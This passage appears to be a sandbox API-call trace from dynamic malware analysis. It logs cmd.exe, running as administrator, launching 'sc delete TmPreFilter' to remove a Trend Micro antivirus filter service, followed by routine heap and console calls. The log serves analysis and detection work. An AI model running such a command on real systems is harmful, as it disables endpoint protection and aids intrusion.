C:\\Windows\\system32\\cmd.exe") returned 0x2a [0068.483] GetProcessHeap () returned 0x1b0000 [0068.483] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9180, Size=0xa4) returned 0x1c9180 [0068.483] GetProcessHeap () returned 0x1b0000 [0068.483] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9180) returned 0xa4 [0068.483] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete TmPreFilter") returned 1 [0068.484] GetProcessHeap () returned 0x1b0000 [0068.484] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9180 | out: hHeap=0x1b0000) returned 1 [0068.484] InitializeProcThreadAttributeList (in: lpAttributeList=0x14ee38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14edf8 | out: lpAttributeList=0x14ee38, lpSize=0x14edf8) returned 1 [0068.484] UpdateProcThreadAttribute (in: lpAttributeList=0x14ee38, dwFlags=0x0, Attribute=0x60001, lpValue=0x14ede8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14ee38, lpPreviousValue=0x0) returned 1 [0068.484] GetStartupInfoW (in: lpStartupInfo=0x14ef50 | out: lpStartupInfo=0x14ef50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0068.484] GetProcessHeap () returned 0x1b0000 [0068.484] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x20) returned 0x1c4610 [0068.484] GetProcessHeap () returned 0x1b0000 [0068.484] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c4610 | out: hHeap=0x1b0000) returned 1 [0068.485] GetProcessHeap () returned 0x1b0000 [0068.485] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x12) returned 0x1c89d0 [0068.485] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete TmPreFilter", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x14ee70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete TmPreFilter", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14ee20 | out: lpCommandLine="sc delete TmPreFilter", lpProcessInformation=0x14ee20*(hProcess=0x50, hThread=0x54, dwProcessId=0x57c, dwThreadId=0x570)) returned 1 [0068.488] CloseHandle (hObject=0x54) returned 1 [0068.489] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0068.489] GetProcessHeap () returned 0x1b0000 [0068.489] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0068.489] GetEnvironmentStringsW () returned 0x1cba10* [0068.489] GetProcessHeap () returned 0x1b0000 [0068.489] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1d1b10 [0068.489] FreeEnvironmentStringsW (penv=0x1cba10) returned 1 [0068.489] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x14e728, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14e728, ReturnLength=0x0) returned 0x0 [0068.489] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffd4000, lpBuffer=0x14e760, nSize=0x380, lpNumberOfBytesRead=0x14e720 | out: lpBuffer=0x14e760*, lpNumberOfBytesRead=0x14e720*=0x380) returned 1 [0068.489] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0068.538] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x14ed68 | out: lpExitCode=0x14ed68*=0x424) returned 1 [0068.538] CloseHandle (hObject=0x50) returned 1 [0068.538] _vsnwprintf (in: _Buffer=0x14efd8, _BufferCount=0x13, _Format="%08X", _ArgList=0x14ed78 | out: _Buffer="00000424") returned 8 [0068.538] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0068.538] GetProcessHeap () returned 0x1b0000 [0068.538] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d1b10 | out: hHeap=0x1b0000) returned 1 [0068.538] GetEnvironmentStringsW () returned 0x1d1b10* [0068.538] GetProcessHeap () returned 0x1b0000 [0068.538] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba10 [0068.538] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0068.539] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0068.539] GetProcessHeap () returned 0x1b0000 [0068.539] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0068.539] GetEnvironmentStringsW () returned 0x1cba10* [0068.539] GetProcessHeap () returned 0x1b0000 [0068.539] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1d1b10 [0068.539] FreeEnvironmentStringsW (penv=0x1cba10) returned 1 [0068.539] GetProcessHeap () returned 0x1b0000 [0068.539] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89d0 | out: hHeap=0x1b0000) returned 1 [0068.539] DeleteProcThreadAttributeList (in: lpAttributeList=0x14ee38 | out: lpAttributeList=0x14ee38) [0068.539] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0068.540] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.540] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0068.540] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.540] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a82e194 | out: lpMode=0x4a82e194) returned 0 [0068.540] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.540] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a82e198 | out: lpMode=0x4a82e198) returned 0 [0068.540] GetConsoleOutputCP () returned 0x1b5 [0068.540] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0068.541] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0068.541] GetProcessHeap () returned 0x1b0000 [0068.541] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9b30 | out: hHeap=0x1b0000) returned 1 [0068.541] GetProcessHeap () returned 0x1b0000 [0068.541] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1b1ab0 | out: hHeap=0x1b0000) returned 1 [0068.541] GetProcessHeap () returned 0x1b0000 [0068.541] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5b70 | out: hHeap=0x1b0000) returned 1 [0068.541] GetProcessHeap () returned 0x1b0000 [0068.541] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc530 | out: hHeap=0x1b0000) returned 1 [0068.541] GetProcessHeap () returned 0x1b0000 [0068.541] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1caa40 | out: hHeap=0x1b0000) returned 1 [0068.541] GetProcessHeap () returned 0x1b0000 [0068.541] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9910 | out: hHeap=0x1b0000) returned 1 [0068.541] GetProcessHeap () returned 0x1b0000 [0068.541] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c6510 | out: hHeap=0x1b0000) returned 1 [0068.541] GetProcessHeap () returned 0x1b0000 [0068.541] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89b0 | out: hHeap=0x1b0000) returned 1 [0068.541] GetProcessHeap () returned 0x1b0000 [0068.541] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d4660 | out: hHeap=0x1b0000) returned 1 [0068.542] _vsnwprintf (in: _Buffer=0x4a846340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f298 | out: _Buffer="\r\n") returned 2 [0068.542] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.542] GetFileType (hFile=0x120) returned 0x3 [0068.542] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.542] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0068.542] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f268, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f268*=0x2, lpOverlapped=0x0) returned 1 [0068.542] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0068.542] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a83c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0068.542] _vsnwprintf (in: _Buffer=0x4a82eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f2a8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0068.542] _vsnwprintf (in: _Buffer=0x4a82ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x14f2a8 | out: _Buffer=">") returned 1 [0068.542] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.542] GetFileType (hFile=0x120) returned 0x3 [0068.542] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.542] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0068.542] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x14f298, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f298*=0x26, lpOverlapped=0x0) returned 1 [0068.542] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.542] GetFileType (hFile=0xb8) returned 0x3 [0068.543] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.543] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.543] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.543] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e320, cchWideChar=1 | out: lpWideCharStr="sc delete TmPreFilter\ne\n4-9.4\"\n\nA\"\n") returned 1 [0068.543] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.543] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.543] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.543] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e322, cchWideChar=1 | out: lpWideCharStr="c delete TmPreFilter\ne\n4-9.4\"\n\nA\"\n") returned 1 [0068.543] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.543] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.543] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.543] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e324, cchWideChar=1 | out: lpWideCharStr=" delete TmPreFilter\ne\n4-9.4\"\n\nA\"\n") returned 1 [0068.543] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.543] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.543] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.543] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e326, cchWideChar=1 | out: lpWideCharStr="delete TmPreFilter\ne\n4-9.4\"\n\nA\"\n") returned 1 [0068.543] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.543] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.543] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.544] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e328, cchWideChar=1 | out: lpWideCharStr="elete TmPreFilter\ne\n4-9.4\"\n\nA\"\n") returned 1 [0068.544] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.544] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.544] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.544] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32a, cchWideChar=1 | out: lpWideCharStr="lete TmPreFilter\ne\n4-9.4\"\n\nA\"\n") returned 1 [0068.544] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.544] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.544] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.544] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32c, cchWideChar=1 | out: lpWideCharStr="ete TmPreFilter\ne\n4-9.4\"\n\nA\"\n") returned 1 [0068.544] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.544] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.544] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.544] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32e, cchWideChar=1 | out: lpWideCharStr="te TmPreFilter\ne\n4-9.4\"\n\nA\"\n") returned 1 [0068.544] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.544] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.544] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.544] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e330, cchWideChar=1 | out: lpWideCharStr="e TmPreFilter\ne\n4-9.4\"\n\nA\"\n") returned 1 [0068.544] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.544] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.544] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.545] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e332, cchWideChar=1 | out: lpWideCharStr=" TmPreFilter\ne\n4-9.4\"\n\nA\"\n") returned 1 [0068.545] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.545] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.545] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.545] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e334, cchWideChar=1 | out: lpWideCharStr="TmPreFilter\ne\n4-9.4\"\n\nA\"\n") returned 1 [0068.545] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.545] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.545] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.545] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e336, cchWideChar=1 | out: lpWideCharStr="MPreFilter\ne\n4-9.4\"\n\nA\"\n") returned 1 [0068.545] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.545] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.545] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.545] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e338, cchWideChar=1 | out: lpWideCharStr="SreFilter\ne\n4-9.4\"\n\nA\"\n") returned 1 [0068.545] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.545] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.545] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.545] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33a, cchWideChar=1 | out: lpWideCharStr="meFilter\ne\n4-9.4\"\n\nA\"\n") returned 1 [0068.545] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.545] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.545] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.545] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33c, cchWideChar=1 | out: lpWideCharStr="aFilter\ne\n4-9.4\"\n\nA\"\n") returned 1 [0068.546] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.546] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.546] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.546] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33e, cchWideChar=1 | out: lpWideCharStr="rilter\ne\n4-9.4\"\n\nA\"\n") returned 1 [0068.546] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.546] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.546] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.546] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e340, cchWideChar=1 | out: lpWideCharStr="tlter\ne\n4-9.4\"\n\nA\"\n") returned 1 [0068.546] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.546] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.546] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.546] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e342, cchWideChar=1 | out: lpWideCharStr="Rter\ne\n4-9.4\"\n\nA\"\n") returned 1 [0068.546] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.546] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.546] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.546] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e344, cchWideChar=1 | out: lpWideCharStr="eer\ne\n4-9.4\"\n\nA\"\n") returned 1 [0068.546] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.546] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.546] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.546] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e346, cchWideChar=1 | out: lpWideCharStr="lr\ne\n4-9.4\"\n\nA\"\n") returned 1 [0068.546] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.546] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.546] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.547] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e348, cchWideChar=1 | out: lpWideCharStr="a\ne\n4-9.4\"\n\nA\"\n") returned 1 [0068.547] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.547] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.547] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.547] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34a, cchWideChar=1 | out: lpWideCharStr="ye\n4-9.4\"\n\nA\"\n") returned 1 [0068.547] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.547] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 